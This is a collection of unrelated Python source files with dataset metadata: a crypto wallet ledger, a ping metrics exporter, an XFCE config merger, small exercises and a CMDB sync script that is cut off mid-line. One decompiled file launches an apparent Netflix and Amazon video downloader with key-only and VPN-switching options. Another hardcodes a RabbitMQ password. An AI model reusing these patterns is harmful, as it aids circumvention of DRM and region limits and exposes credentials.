@defer.inlineCallbacks\n def get_private_key_for_address(self, address):\n match = yield self.db.get_address(address)\n if match:\n for account in self.accounts:\n if bytes(match['account']) == account.public_key.address:\n defer.returnValue(account.get_private_key(match['chain'], match['position']))\n\n def get_unspent_outputs(self, account):\n return self.db.get_utxos(account, self.transaction_class.output_class)\n\n @defer.inlineCallbacks\n def get_effective_amount_estimators(self, funding_accounts):\n # type: (Iterable[baseaccount.BaseAccount]) -> defer.Deferred\n estimators = []\n for account in funding_accounts:\n utxos = yield self.get_unspent_outputs(account)\n for utxo in utxos:\n estimators.append(utxo.get_estimator(self))\n defer.returnValue(estimators)\n\n @defer.inlineCallbacks\n def get_local_status(self, address):\n address_details = yield self.db.get_address(address)\n history = address_details['history'] or ''\n hash = hashlib.sha256(history.encode()).digest()\n defer.returnValue(hexlify(hash))\n\n @defer.inlineCallbacks\n def get_local_history(self, address):\n address_details = yield self.db.get_address(address)\n history = address_details['history'] or ''\n parts = history.split(':')[:-1]\n defer.returnValue(list(zip(parts[0::2], map(int, parts[1::2]))))\n\n @staticmethod\n def get_root_of_merkle_tree(branches, branch_positions, working_branch):\n for i, branch in enumerate(branches):\n other_branch = unhexlify(branch)[::-1]\n other_branch_on_left = bool((branch_positions >> i) & 1)\n if other_branch_on_left:\n combined = other_branch + working_branch\n else:\n combined = working_branch + other_branch\n working_branch = double_sha256(combined)\n return hexlify(working_branch[::-1])\n\n @defer.inlineCallbacks\n def is_valid_transaction(self, tx, height):\n height <= len(self.headers) or defer.returnValue(False)\n merkle = yield self.network.get_merkle(tx.hex_id.decode(), height)\n merkle_root = self.get_root_of_merkle_tree(merkle['merkle'], merkle['pos'], tx.hash)\n header = self.headers[height]\n defer.returnValue(merkle_root == header['merkle_root'])\n\n @defer.inlineCallbacks\n def start(self):\n if not os.path.exists(self.path):\n os.mkdir(self.path)\n yield self.db.start()\n first_connection = self.network.on_connected.first\n self.network.start()\n yield first_connection\n self.headers.touch()\n yield self.update_headers()\n yield self.network.subscribe_headers()\n yield self.update_accounts()\n\n @defer.inlineCallbacks\n def stop(self):\n yield self.network.stop()\n yield self.db.stop()\n\n @execute_serially\n @defer.inlineCallbacks\n def update_headers(self):\n while True:\n height_sought = len(self.headers)\n headers = yield self.network.get_headers(height_sought)\n if headers['count'] <= 0:\n break\n yield self.headers.connect(height_sought, unhexlify(headers['hex']))\n self._on_header_controller.add(height_sought)\n\n @defer.inlineCallbacks\n def process_header(self, response):\n header = response[0]\n if self.update_headers.is_running:\n return\n if header['height'] == len(self.headers):\n # New header from network directly connects after the last local header.\n yield self.headers.connect(len(self.headers), unhexlify(header['hex']))\n self._on_header_controller.add(len(self.headers))\n elif header['height'] > len(self.headers):\n # New header is several heights ahead of local, do download instead.\n yield self.update_headers()\n\n @execute_serially\n def update_accounts(self):\n return defer.DeferredList([\n self.update_account(a) for a in self.accounts\n ])\n\n @defer.inlineCallbacks\n def update_account(self, account): # type: (baseaccount.BaseAccount) -> defer.Defferred\n # Before subscribing, download history for any addresses that don't have any,\n # this avoids situation where we're getting status updates to addresses we know\n # need to update anyways. Continue to get history and create more addresses until\n # all missing addresses are created and history for them is fully restored.\n yield account.ensure_address_gap()\n addresses = yield account.get_unused_addresses()\n while addresses:\n yield defer.DeferredList([\n self.update_history(a) for a in addresses\n ])\n addresses = yield account.ensure_address_gap()\n\n # By this point all of the addresses should be restored and we\n # can now subscribe all of them to receive updates.\n all_addresses = yield account.get_addresses()\n yield defer.DeferredList(\n list(map(self.subscribe_history, all_addresses))\n )\n\n @defer.inlineCallbacks\n def update_history(self, address):\n remote_history = yield self.network.get_history(address)\n local_history = yield self.get_local_history(address)\n\n synced_history = []\n for i, (hex_id, remote_height) in enumerate(map(itemgetter('tx_hash', 'height'), remote_history)):\n\n synced_history.append((hex_id, remote_height))\n\n if i < len(local_history) and local_history[i] == (hex_id.decode(), remote_height):\n continue\n\n lock = self._transaction_processing_locks.setdefault(hex_id, defer.DeferredLock())\n\n yield lock.acquire()\n\n try:\n # see if we have a local copy of transaction, otherwise fetch it from server\n raw, local_height, is_verified = yield self.db.get_transaction(unhexlify(hex_id)[::-1])\n save_tx = None\n if raw is None:\n _raw = yield self.network.get_transaction(hex_id)\n tx = self.transaction_class(unhexlify(_raw))\n save_tx = 'insert'\n else:\n tx = self.transaction_class(raw)\n\n if remote_height > 0 and not is_verified:\n is_verified = yield self.is_valid_transaction(tx, remote_height)\n is_verified = 1 if is_verified else 0\n if save_tx is None:\n save_tx = 'update'\n\n yield self.db.save_transaction_io(\n save_tx, tx, remote_height, is_verified, address, self.address_to_hash160(address),\n ''.join('{}:{}:'.format(tx_id.decode(), tx_height) for tx_id, tx_height in synced_history)\n )\n\n self._on_transaction_controller.add(TransactionEvent(address, tx, remote_height, is_verified))\n\n finally:\n lock.release()\n if not lock.locked:\n del self._transaction_processing_locks[hex_id]\n\n @defer.inlineCallbacks\n def subscribe_history(self, address):\n remote_status = yield self.network.subscribe_address(address)\n local_status = yield self.get_local_status(address)\n if local_status != remote_status:\n yield self.update_history(address)\n\n @defer.inlineCallbacks\n def process_status(self, response):\n address, remote_status = response\n local_status = yield self.get_local_status(address)\n if local_status != remote_status:\n yield self.update_history(address)\n\n def broadcast(self, tx):\n return self.network.broadcast(hexlify(tx.raw))\n","sub_path":"torba/baseledger.py","file_name":"baseledger.py","file_ext":"py","file_size_in_byte":12207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"609976352","text":"#!/usr/bin/env python\nfrom BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler\nfrom SocketServer import ThreadingMixIn\nimport threading\nimport sys\nimport subprocess\nfrom urlparse import parse_qs, urlparse\nimport logging\nimport os\nimport re\n\ndef locate(file):\n #Find the path for fping\n for path in os.environ[\"PATH\"].split(os.pathsep):\n if os.path.exists(os.path.join(path, file)):\n return os.path.join(path, file)\n return \"{}\".format(file)\n\ndef ping(host, prot, interval, count, size, source): \n filepath_cmd = [filepath]\n host_cmd = [host]\n # subnets are only supported for IPv4 due to the size of IPv6\n if '/' in host and prot == 4:\n # host = '-g {}'.format(host)\n host_cmd = ['-g', host] \n \n source_cmd = []\n if source:\n source_cmd = ['-S', source]\n\n quiet_cmd = ['-q']\n version_cmd = ['-{}'.format(prot)]\n interval_cmd = ['-i', str(interval)]\n size_cmd = ['-b', str(size)]\n count_cmd = ['-c', str(count)]\n\n ping_command = filepath_cmd + version_cmd + quiet_cmd + source_cmd + size_cmd + count_cmd + host_cmd\n\n output = [] \n logger.info(ping_command)\n\n # Execute the ping\n p = subprocess.Popen(ping_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) \n _, cmd_output = p.communicate()\n if p.returncode > 2:\n raise subprocess.CalledProcessError('oops')\n\n raw_outputs = cmd_output.split('\\n')\n\n # Parse the fping output (tested on version 4.2)\n # example ping \"8.8.8.8 : xmt/rcv/%loss = 10/10/0%, min/avg/max = 0.72/0.82/1.42\"\n # example loss \"192.1.1.1 : xmt/rcv/%loss = 10/0/100%\"\n # https://www.debuggex.com/r/T5_Da8_kWGHpm8y1\n for ping in raw_outputs:\n # logger.info(ping)\n match = re.search('(?P.*) :.*= \\d+\\/\\d+\\/(?P\\d+)%(?:.*(?P\\d+\\.?\\d*)\\/(?P\\d+\\.?\\d*)\\/(?P\\d+\\.?\\d*))?', ping) \n if match is not None: \n ip_address = match.group('ip_address').strip()\n loss = match.group('loss')\n if (loss != \"100\"):\n min_ms = match.group('min')\n avg_ms = match.group('avg')\n max_ms = match.group('max')\n else:\n min_ms = 0\n avg_ms = 0\n max_ms = 0 \n\n output.append(\"ping_avg_ms{{ip_address=\\\"{}\\\"}} {}\".format(ip_address, avg_ms))\n output.append(\"ping_max_ms{{ip_address=\\\"{}\\\"}} {}\".format(ip_address, max_ms))\n output.append(\"ping_min_ms{{ip_address=\\\"{}\\\"}} {}\".format(ip_address, min_ms))\n output.append(\"ping_loss_percent{{ip_address=\\\"{}\\\"}} {}\".format(ip_address, loss))\n\n else:\n continue\n\n return output\n\nclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n \"\"\"Handle requests in a separate thread.\"\"\"\n\nclass GetHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n #Parse the url\n parsed_path = urlparse(self.path).query\n value = parse_qs(parsed_path) \n # Retrieve the ping target\n\n if 'target' not in value:\n self.send_response(500)\n self.end_headers()\n self.wfile.write('missing target')\n return\n\n address = value['target'][0]\n\n #Retrieve source address\n if \"source\" in value:\n source = value['source'][0]\n else:\n source = ''\n #Retrieve prot\n if \"prot\" in value:\n prot = value['prot'][0]\n else:\n prot = 4\n #Retrieve ping count\n if \"count\" in value:\n count = value['count'][0]\n else:\n count = 10\n #Retrieve ping packet size\n if \"size\" in value and int(value['size'][0]) < 10240:\n size = value['size'][0]\n else:\n size = 56\n #Retrieve ping interval\n if \"interval\" in value and int(value['interval'][0]) > 1:\n interval = value['interval'][0]\n else:\n interval = 25\n\n try:\n message = '\\n'.join(ping(address, prot, interval, count, size, source))\n except subprocess.CalledProcessError as e:\n self.send_response(500)\n self.end_headers()\n self.wfile.write('command error: {}'.format(e)) \n return\n\n #Prepare HTTP status code\n self.send_response(200)\n self.end_headers()\n self.wfile.write(message)\n return\n\nif __name__ == '__main__':\n #Locate the path of fping\n global filepath\n filepath = locate(\"fping\")\n # filepath = '/usr/local/sbin/fping'\n logger = logging.getLogger()\n handler = logging.StreamHandler()\n formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n logger.setLevel(logging.DEBUG)\n #Check if there is a special port configured\n if len(sys.argv) >= 3:\n port = int(sys.argv[2])\n else:\n port = 8085\n logger.info('Starting server port {}, use to stop'.format(port))\n server = ThreadedHTTPServer(('0.0.0.0', port), GetHandler)\n server.serve_forever()\n","sub_path":"ping-exporter.py","file_name":"ping-exporter.py","file_ext":"py","file_size_in_byte":5181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"200520725","text":"#-*- coding: utf-8 -*-\n\n# Copyright 2008-2012 Calculate Ltd. http://www.calculate-linux.org\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport sys\nfrom xml import xpath\nimport xml.dom.minidom\nfrom calculate.lib.format.xml_xfce import xml_xfce\n\nfrom calculate.lib.cl_lang import setLocalTranslate\nsetLocalTranslate('cl_lib3',sys.modules[__name__])\n\nclass xml_xfcepanel(xml_xfce):\n \"\"\"Класс для объединения xfce-panel файлов\"\"\"\n def __init__(self, text):\n xml_xfce.__init__(self, text)\n self.panelNumbers = {}\n\n def textToXML(self):\n \"\"\"Создание из текста XML документа\n Храним xml в своем формате\n \"\"\"\n if not self.text.strip():\n self.text = '''\n\n\n'''\n try:\n self.doc = xml.dom.minidom.parseString(self.text)\n except:\n self.setError(_(\"The template content is not XML\"))\n return False\n self.rootNode = self.doc.documentElement\n self.bodyNode = self.rootNode\n return self.doc\n\n def setNameBodyNode(self, name):\n \"\"\"Пустой метод\"\"\"\n return True\n\n def _join(self, xmlNewNode, xmlOldNode, flagRootNode=True, levelNumber=0):\n \"\"\"Объединение корневой ноды шаблона и корневой ноды файла\"\"\"\n xmlNode = xmlNewNode\n childNodes = xmlNode.childNodes\n nextOldNode = xmlOldNode\n flagError = False\n if xmlNode.nodeType ==xmlNode.ELEMENT_NODE:\n n = xmlNode\n path = u''\n nName = u''\n flagArray = False\n nValue = u''\n nAction = u''\n attrName = ''\n attrType = ''\n path = n.tagName\n if path == \"items\":\n flagArray = True\n if not flagArray:\n if n.hasAttribute(\"name\"):\n nName = n.getAttribute(\"name\")\n attrName = u\"attribute::name='%s'\"%nName\n if n.hasAttribute(\"value\"):\n nValue = n.getAttribute(\"value\")\n if n.hasAttribute(\"action\"):\n nAction = n.getAttribute(\"action\")\n if not nAction in (\"join\",\"replace\",\"drop\"):\n textError = _(\"In the text of the XML template, \"\n \"reserved attribute 'action' comes with an \"\n \"incorrect value.\\n\"\n \"Valid values of the 'action' attribute are: \"\n '(action=\"join\", action=\"replace\", action=\"drop\")')\n self.setError(textError)\n return False\n if xmlOldNode.parentNode:\n findAttrStr = \"\"\n if attrName:\n findAttrStr = \"[%s]\"%attrName\n findPath = u\"child::%s%s\"%(path,findAttrStr)\n # Рабочая нода\n if flagRootNode:\n workNode = xmlOldNode.parentNode\n else:\n workNode = xmlOldNode\n oldNodes = xpath.Evaluate(findPath, workNode)\n flagDrop = False\n flagJoin = True\n flagReplace = False\n flagAppend = False\n if nAction == \"replace\":\n flagJoin = False\n flagReplace = True\n elif nAction == \"drop\":\n flagJoin = False\n flagDrop = True\n if flagRootNode:\n textError = \\\n _('Incorrect action=\"drop\" in the root node')\n self.setError(textError)\n return False\n if path == \"panel\":\n flagJoin = False\n if levelNumber in self.panelNumbers.keys():\n self.panelNumbers[levelNumber] += 1\n else:\n self.panelNumbers[levelNumber] = 0\n if oldNodes:\n if len(oldNodes)>1 and path != \"panel\":\n textError = _(\"Ambiguity in this template: the \"\n \"same nodes are on a same level\")\n self.setError(textError)\n return False\n if path == \"panel\":\n if len(oldNodes)<=self.panelNumbers[levelNumber]:\n nextOldNode = oldNodes[-1]\n # Добавляем ноду\n if not flagDrop:\n flagAppend = True\n flagReplace = False\n childNodes = False\n else:\n nextOldNode=oldNodes[self.panelNumbers[levelNumber]]\n else:\n nextOldNode = oldNodes[0]\n # Замещаем ноду в случае массива\n if flagArray and not flagDrop:\n replaceXmlNode = xmlNode.cloneNode(True)\n if nAction:\n replaceXmlNode.removeAttribute(\"action\")\n workNode.replaceChild(replaceXmlNode,\n nextOldNode)\n flagJoin = False\n flagReplace = False\n childNodes = False\n # Объединение нод\n if flagJoin:\n if nextOldNode.hasAttribute(\"value\"):\n oValue = nextOldNode.getAttribute(\"value\")\n if nValue != oValue:\n nextOldNode.setAttribute(\"value\",nValue)\n # Замещение ноды\n elif flagReplace:\n replaceXmlNode = xmlNode.cloneNode(True)\n if not\\\n self._removeDropNodesAndAttrAction(replaceXmlNode):\n return False\n workNode.replaceChild(replaceXmlNode,\n nextOldNode)\n childNodes = False\n # Удаление ноды\n elif flagDrop:\n workNode.removeChild(nextOldNode)\n childNodes = False\n else:\n flagAppend = True\n flagDrop = False\n if flagAppend and not flagDrop:\n # Добавление ноды\n childNodes = False\n if not flagDrop:\n appendXmlNode = xmlNode.cloneNode(True)\n if not\\\n self._removeDropNodesAndAttrAction(appendXmlNode):\n return False\n workNode.appendChild(appendXmlNode)\n if childNodes:\n for node in childNodes:\n levelNumber +=1\n if not self._join(node, nextOldNode, False, levelNumber):\n flagError = True\n break\n levelNumber -= 1\n if flagError:\n return False\n return True\n\n def join(self, xml_xfceObj):\n \"\"\"Объединяем конфигурации\"\"\"\n if isinstance(xml_xfceObj, xml_xfcepanel):\n try:\n self.joinDoc(xml_xfceObj.doc)\n except:\n self.setError(_(\"Failed to join the template\"))\n return False\n return True\n \n","sub_path":"calculate/lib/format/xml_xfcepanel.py","file_name":"xml_xfcepanel.py","file_ext":"py","file_size_in_byte":8364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"38965096","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/bxa/sherpa/cachedmodel.py\n# Compiled at: 2020-01-28 12:31:59\n# Size of source mod 2**32: 1968 bytes\nfrom __future__ import print_function\nimport os, numpy\nfrom math import log10, isnan, isinf\nif 'MAKESPHINXDOC' not in os.environ:\n import sherpa.astro.ui as ui\n from sherpa.stats import Cash, CStat\n from sherpa.models import ArithmeticModel, CompositeModel\nelse:\n ArithmeticModel = object\n CompositeModel = list\n\nclass VariableCachedModel(CompositeModel, ArithmeticModel):\n\n def __init__(self, othermodel):\n self.othermodel = othermodel\n self.cache = None\n self.lastp = None\n print('calling CompositeModel...')\n CompositeModel.__init__(self, name=('cached(%s)' % othermodel.name), parts=(othermodel,))\n\n def calc(self, p, left, right, *args, **kwargs):\n if self.cache is None or self.lastp != p:\n self.cache = (self.othermodel.calc)(p, left, right, *args, **kwargs)\n self.lastp = p\n return self.cache\n\n def startup(self):\n self.othermodel.startup()\n CompositeModel.startup(self)\n\n def teardown(self):\n self.othermodel.teardown()\n CompositeModel.teardown(self)\n\n def guess(self, dep, *args, **kwargs):\n (self.othermodel.guess)(dep, *args, **kwargs)\n (CompositeModel.guess)(self, dep, *args, **kwargs)\n\n\nclass CachedModel(CompositeModel, ArithmeticModel):\n\n def __init__(self, othermodel):\n self.othermodel = othermodel\n self.cache = None\n CompositeModel.__init__(self, name=('cached(%s)' % othermodel.name), parts=(othermodel,))\n\n def calc(self, *args, **kwargs):\n if self.cache is None:\n print(' computing cached model ... ')\n self.cache = (self.othermodel.calc)(*args, **kwargs)\n return self.cache\n\n def startup(self):\n self.othermodel.startup()\n CompositeModel.startup(self)\n\n def teardown(self):\n self.othermodel.teardown()\n CompositeModel.teardown(self)\n\n def guess(self, dep, *args, **kwargs):\n (self.othermodel.guess)(dep, *args, **kwargs)\n (CompositeModel.guess)(self, dep, *args, **kwargs)","sub_path":"pycfiles/bxa-3.3.1-py3.6/cachedmodel.cpython-36.py","file_name":"cachedmodel.cpython-36.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"39166208","text":"from django.urls import path\nfrom .views import cliente_cadastro, cliente_lista, cliente_editar, cliente_delete\n\nurlpatterns = [\n path('cadastro/', cliente_cadastro, name=\"cliente_cadastro\"),\n path('', cliente_lista, name=\"cliente\"),\n path('lista/', cliente_lista, name=\"cliente_lista\"),\n path('editar//', cliente_editar, name=\"cliente_editar\"),\n path('delete//', cliente_delete, name='cliente_delete'),\n]\n","sub_path":"cliente/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"186231575","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\nimport os\nimport pika\nimport json\n#import config as cfg\n\n# Connect to RabbitMQ and create channel\ncredentials = pika.PlainCredentials('guest', 'CTOsO65A6QRcuozmavJCuoia')\nparameters = pika.ConnectionParameters('127.0.0.1', 5673, '/', credentials)\nconnection = pika.BlockingConnection(parameters)\nchannel = connection.channel()\n\n# Declare and listen queue\nchannel.queue_declare(queue='my_queue')\n\n\n# Function process and print data\ndef callback(ch, method, properties, body):\n print(\"Method: {}\".format(method))\n print(\"Properties: {}\".format(properties))\n data = json.loads(body)\n print(\"ID: {}\".format(data['id']))\n print(\"Name: {}\".format(data['name']))\n print('Description: {}'.format(data['description']))\n\n#Listen and receive data from queue\nchannel.basic_consume(queue='my_queue',auto_ack=True, on_message_callback=callback)\nchannel.start_consuming()\n\n\n","sub_path":"rabbit-queue-python/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"416623969","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.0 (v3.6.0:41df79263a11, Dec 23 2016, 08:06:12) [MSC v.1900 64 bit (AMD64)]\n# Embedded file name: Nap36Src\\nap36.py\nimport argparse, os, sys\nparser = argparse.ArgumentParser()\nparser.add_argument('--mode', dest='mode', nargs=1, help='netflix, amazon or primevideo.', default=[])\nparser.add_argument('--url', dest='url_season', help='If set, it will download all assets from the season provided.')\nparser.add_argument('--nv', '--no-video', dest='novideo', help=\"If set, don't download video\", action='store_true')\nparser.add_argument('--na', '--no-audio', dest='noaudio', help=\"If set, don't download audio\", action='store_true')\nparser.add_argument('--ns', '--no-subs', dest='nosubs', help=\"If set, don't download subs\", action='store_true')\nparser.add_argument('--all-season', dest='all_season', help='If set, active download mode.', action='store_true')\nparser.add_argument('-e', '--episode', dest='episodeStart', help='If set, it will start downloading the season from that episode.')\nparser.add_argument('-s', dest='season', help='If set, it will download all assets from the season provided.')\nparser.add_argument('-q', '--quality', dest='customquality', nargs=1, help='For configure quality of video.', default=[])\nparser.add_argument('-o', '--output', dest='output', help='If set, it will download all assets to directory provided.')\nparser.add_argument('--keep', dest='keep', help='If set, it will list all formats available.', action='store_true')\nparser.add_argument('--no-mux', dest='nomux', help='If set, dont mux.', action='store_true')\nparser.add_argument('--langtag', dest='langtag', nargs=1, help='For configure language tag of MKV.', default=[])\nparser.add_argument('--only-2ch-audio', dest='only_2ch_audio', help='If set, no clean tag subtitles.', action='store_true')\nparser.add_argument('--custom-command', dest='custom_command', nargs=1, help='If set, download only selected audio languages', default=[])\nparser.add_argument('--fix-pitch', '--fpitch', dest='fpitch', nargs='*', help='If set, download only selected audio languages', default=[])\nparser.add_argument('--source-fps', dest='sourcefps', nargs=1, help='For configure language tag of MKV.', default=[])\nparser.add_argument('--target-fps', dest='targetfps', nargs=1, help='For configure language tag of MKV.', default=[])\nparser.add_argument('--alang', '--audio-language', dest='audiolang', nargs='*', help='If set, download only selected audio languages', default=[])\nparser.add_argument('--slang', '--subtitle-language', dest='sublang', nargs='*', help='If set, download only selected subtitle languages', default=[])\nparser.add_argument('--flang', '--forced-language', dest='forcedlang', nargs='*', help='If set, download only selected forced subtitle languages', default=[])\nparser.add_argument('--no-cleansubs', dest='nocleansubs', help='If set, no clean tag subtitles.', action='store_true')\nparser.add_argument('--title', dest='titlecustom', nargs=1, help='Customize the title of the show', default=[])\nparser.add_argument('--hevc', dest='hevc', help='If set, it will return HEVC manifest', action='store_true')\nparser.add_argument('--micro', dest='lower', help='If set, it will return HEVC manifest', action='store_true')\nparser.add_argument('--asin', dest='asin', help='Enter ASIN.')\nparser.add_argument('--retry', dest='retry', help='Retry.', action='store_true')\nparser.add_argument('--atmos', dest='atmos', help='If set, it will return Atmos MPDs', action='store_true')\nparser.add_argument('--nc', '--no-chapters', dest='nochpaters', help=\"If set, don't download chapters\", action='store_true')\nparser.add_argument('-r', '--region', default='ps', choices=['ps', 'ps-int', 'us', 'uk', 'de', 'jp'], help='amazon video region')\nparser.add_argument('--clang', '--chapters-language', dest='chapterslang', nargs=1, help='If set, download only selected forced subtitle languages', default=[])\nparser.add_argument('--tlang', '--title-language', dest='titlelang', nargs=1, help='If set, download only selected forced subtitle languages', default=[])\nparser.add_argument('--subtype', dest='stype', choices=['dfxp', 'srt'], help='get dfxp or srt subs')\nparser.add_argument('--ID', dest='nflxID', nargs='?', help='The Netflix viewable ID.')\nparser.add_argument('--hdr', dest='hdr', help='If set, it will return HDR manifest', action='store_true')\nparser.add_argument('--force-audiohq', dest='forceaudiohq', help='If set, it will return HDR manifest', action='store_true')\nparser.add_argument('--aformat-2ch', '--audio-format-2ch', dest='aformat_2ch', nargs=1, help='For configure format of audio.', default=[])\nparser.add_argument('--aformat-51ch', '--audio-format-51ch', dest='aformat_51ch', nargs=1, help='For configure format of audio.', default=[])\nparser.add_argument('--vp9', dest='video_vp9', help='If set, no clean tag subtitles.', action='store_true')\nparser.add_argument('--np', '--no-prompt', dest='noprompt', help='If set, it will disable the yes/no prompt when URLs are grabbed.', action='store_true')\nparser.add_argument('--nar', '--no-all-regions', dest='noallregions', help='If set, it will disable collating assets from all regions.', action='store_true')\nparser.add_argument('--only-keys', dest='onlykeys', help='If set, no clean tag subtitles.', action='store_true')\nparser.add_argument('--vpngate', dest='country_code', help=\"If set, you'll be connected to the desired country using VPNGate.\", default=None)\nparser.add_argument('--ipv', dest='ipversion', help='Workaround for NF HIGH Profiles ipv4 SSL Errors. If problem, use --ipv 6')\nargs = parser.parse_args()\nargs.onlykeys = False\nargs.forceaudiohq = False\ncurrentFile = '__main__'\nrealPath = os.path.realpath(currentFile)\ndirPath = os.path.dirname(realPath)\ndirName = os.path.basename(dirPath)\nfrom binaries.VPN.VPNGate import VPNGateConnect\nif __name__ == '__main__':\n if args.country_code != None:\n print('Killing previous OpenVPN sessions...')\n os.system('taskkill /im openvpn.exe /f')\n VPNGateConnect(args.country_code)\n if args.url_season and 'netflix' in args.url_season or args.nflxID or args.mode and args.mode[0] == 'netflix':\n mode = 'netflix'\n import netflix36\n netflix36()\n else:\n if args.url_season and 'amazon' in args.url_season or args.asin or args.mode and args.mode[0] == 'amazon':\n mode = 'amazon'\n import primevideo36\n primevideo36()\n else:\n if args.url_season and 'primevideo.com' in args.url_season or args.asin or args.mode and args.mode[0] == 'primevideo':\n mode = 'primevideo'\n import primevideo36\n primevideo36()\n else:\n url_season = input('Enter the Netflix, Amazon or Primevideo URL (with https): ')\n args.url_season = url_season\n if 'netflix' in url_season:\n mode = 'netflix'\n import netflix36\n netflix36()\n else:\n if 'amazon' in url_season:\n mode = 'amazon'\n import primevideo36\n primevideo36()\n else:\n if 'primevideo.com' in url_season:\n mode = 'primevideo'\n import primevideo36\n primevideo36()\n else:\n if args.country_code != None:\n os.system('taskkill /im openvpn.exe /f')\n print('Error! This url or mode is not recognized.')\n sys.exit(0)","sub_path":"PYZ-00.pyz/nap36.py","file_name":"nap36.py","file_ext":"py","file_size_in_byte":7739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"376433867","text":"# Node class\nclass Node:\n\n # Function to initialise the node object\n def __init__(self, data):\n self.data=data\n self.next=None\n\nclass LinkedList:\n\n def __init__(self):\n self.head=None\n self.curr=None\n\n def push(self, new_data):\n temp=Node(new_data)\n if self.head is None:\n self.head=temp\n self.curr=self.head\n else:\n self.curr.next=temp\n self.curr=self.curr.next\n\n # Function to get the middle of\n # the linked list\n def printMiddle(self):\n\n slowPointer=self.head\n fastPointer=self.head\n\n while fastPointer is not None and fastPointer.next is not None:\n\n slowPointer=slowPointer.next\n fastPointer=fastPointer.next.next\n\n print(slowPointer.data)\n\n\n# Driver code\nlist1 = LinkedList()\nlist1.push(5)\nlist1.push(4)\nlist1.push(2)\nlist1.push(3)\nlist1.push(1)\nlist1.push(9)\nlist1.printMiddle()\n","sub_path":"Exercise_3.py","file_name":"Exercise_3.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"191816997","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 11 22:14:03 2020\n\n@author: marco\n\"\"\"\n#cities = ['new york city', 'mountain view', 'chicago', 'los angeles']\n#for city in cities:\n# print(city)\n#print(\"Done!\")\n\n#for u in range(3):\n #print(\"Hello!\")\n#cities = ['new york city', 'mountain view', 'chicago', 'los angeles']\n#capitalized_cities = []\n#for city in cities:\n# capitalized_cities.append(city.title())\n#print(capitalized_cities)\ncities = ['new york city', 'mountain view', 'chicago', 'los angeles']\n\nfor index in range(len(cities)):\n cities[index] = cities[index].title()\nprint(cities)\n\n\n","sub_path":"12_05_20_for.py","file_name":"12_05_20_for.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"299489207","text":"# -*-coding:utf8-*-\nimport time\nfrom DB import DB\nfrom config import machine_db, falcon_db, creator, data_grp, print_with_time_flag, root_name, title_base, title_net, title_disk,\\\n base_counter, net_counter, disk_counter\n\n\ndef get_sub_nodes(mm_conn, node, ret):\n cursor = mm_conn.execute('''select id from business_tree_treenode where parent_id=%s''', (node,))\n p = cursor.fetchall()\n cursor and cursor.close()\n if p is not None:\n for x in p:\n ret.append(x[0])\n get_sub_nodes(mm_conn, x[0], ret)\n\n\ndef get_nodes_info(mm_conn, fp_conn):\n \"\"\"\n get all nodes and its hosts info from cmdb, compared with falcon host table\n :param mm_conn: cmdb db conn\n :param fp_conn:falcon_portal db conn\n :return:\n nodes_info:list of dict,dict key is node_name,value is the host_id of the hosts in falcon host table,\n eg:{'host_id': [2281231L,2270695L], 'node_name': u'root/op'}\n cmdb_hosts:host ip and it's status code,eg:{\"ip\":\"status\"}\n cmdb_nodes:node name list,eg[company,company/backend]\n \"\"\"\n\n nodes_info = []\n\n # query all node from db\n cursor = mm_conn.execute(\"select id,node_name,absolute_path from business_tree_treenode\")\n nodes = cursor.fetchall()\n cursor and cursor.close()\n # store all hosts sync from cmdb,format:{\"ip\":\"status\"}\n cmdb_hosts = {}\n cmdb_nodes = []\n for node in nodes:\n # first get all the child nodes of a parent node\n # then get all the host ip of child nodes\n subnodes = []\n get_sub_nodes(mm_conn, node[0], subnodes)\n subnodes.append(node[0])\n ips = {}\n for n in subnodes:\n # query the ipv4 of each node\n # exclude the ip who's status is not 0 and 4\n # host status code:\n # 0:not_use,1:in_use,2:maintain,3:out_of_date,4:scrap\n cursor = mm_conn.execute('''select ipv4,ch.status from cmdb_nic cn,cmdb_host ch, cmdb_host_nodes chn where treenode_id=%s and chn.host_id=ch.id and ch.id=cn.host_id''', (n,))\n ip = cursor.fetchall()\n cursor and cursor.close()\n for i in ip:\n ips[i[0]] = int(i[1])\n\n tmp_dict = {}\n tmp_ids = set()\n tmp_hostnames = []\n for ip, status in ips.iteritems():\n cursor = fp_conn.execute(\"select id,hostname from host where ip=%s\", (ip,))\n exist = cursor.fetchone()\n if 